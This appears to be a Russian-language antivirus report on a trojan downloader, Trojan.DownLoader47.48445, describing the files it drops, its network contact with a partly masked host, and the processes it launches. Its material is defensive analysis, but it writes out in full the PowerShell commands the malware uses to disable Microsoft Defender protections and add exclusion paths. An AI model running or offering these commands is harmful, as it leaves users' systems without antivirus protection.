Trojan.DownLoader47.48445

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\Public\00C04FC964FF' -Force

Изменения в файловой системе

Создает следующие файлы

C:\users\public\downloads\85eaf193449.dat
C:\users\public\08002b30309d\libmysql.dll
C:\users\public\08002b30309d\license\directui license.txt
C:\users\public\08002b30309d\license\duilib license troy.txt
C:\users\public\08002b30309d\license\duilib license.txt
C:\users\public\08002b30309d\license\mysql connector.txt
C:\users\public\08002b30309d\license\opencv license.txt
C:\users\public\08002b30309d\license\zlib license.txt
C:\users\public\08002b30309d\mfc140u.dll
C:\users\public\08002b30309d\msc.dll
C:\users\public\08002b30309d\msvcp140.dll
C:\users\public\08002b30309d\msvcr120.dll
C:\users\public\08002b30309d\opencv_highgui2413.dll
C:\users\public\08002b30309d\vcruntime140.dll
C:\users\public\08002b30309d\opencv_imgproc2413.dll
C:\users\public\08002b30309d\plugin.dll
C:\users\public\08002b30309d\qkguide.dll
C:\users\public\08002b30309d\qkhook.dll
C:\users\public\08002b30309d\qkparametermgr.dll
C:\users\public\08002b30309d\qkphotoshopmgr.dll
C:\users\public\08002b30309d\qkplugin.dll
C:\users\public\08002b30309d\qkrecord.dll
C:\users\public\08002b30309d\qkresource.dll
C:\users\public\08002b30309d\ssleay32.dll
C:\users\public\08002b30309d\task.dat
C:\users\public\08002b30309d\libeay32.dll
C:\users\public\08002b30309d\opencv_core2413.dll
C:\users\public\08002b30309d\libcurl.dll
C:\users\public\08002b30309d\api-ms-win-crt-environment-l1-1-0.dll
C:\users\public\downloads\45a343ec44b.dat
C:\users\public\08002b30309d\0f40fc17.ppf
C:\users\public\08002b30309d\21ec2020.exe
C:\users\public\08002b30309d\alibabacloud-oss-cpp-sdk.dll
C:\users\public\08002b30309d\api-ms-win-core-file-l1-2-0.dll
C:\users\public\08002b30309d\api-ms-win-core-file-l2-1-0.dll
C:\users\public\08002b30309d\api-ms-win-core-localization-l1-2-0.dll
C:\users\public\08002b30309d\api-ms-win-core-processthreads-l1-1-1.dll
C:\users\public\08002b30309d\api-ms-win-core-synch-l1-2-0.dll
C:\users\public\08002b30309d\api-ms-win-core-timezone-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-convert-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-filesystem-l1-1-0.dll
C:\users\public\08002b30309d\config.ini
C:\users\public\08002b30309d\api-ms-win-crt-heap-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-locale-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-math-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-multibyte-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-runtime-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-stdio-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-string-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-time-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-crt-utility-l1-1-0.dll
C:\users\public\08002b30309d\api-ms-win-shcore-scaling-l1-1-1.dll
C:\users\public\08002b30309d\concrt140.dll
C:\users\public\08002b30309d\duilib.dll
C:\users\public\<Имя файла>.exe

Удаляет следующие файлы

C:\users\public\downloads\45a343ec44b.dat

Сетевая активность

Подключается к

'do#####d.linuxroot.site':80

TCP

Запросы HTTP GET

http://do#####d.linuxroot.site/download/2823.dat

UDP

DNS ASK do#####d.linuxroot.site

Другое

Создает и запускает на исполнение

'C:\users\public\08002b30309d\21ec2020.exe'

Запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-ExecutionPolicy Unrestricted (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisablePrivacyMode $true (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableControlledFolderAccess Disabled (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0 (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\Public\00C04FC964FF' -Force (со скрытым окном)
'C:\users\public\08002b30309d\21ec2020.exe' (со скрытым окном)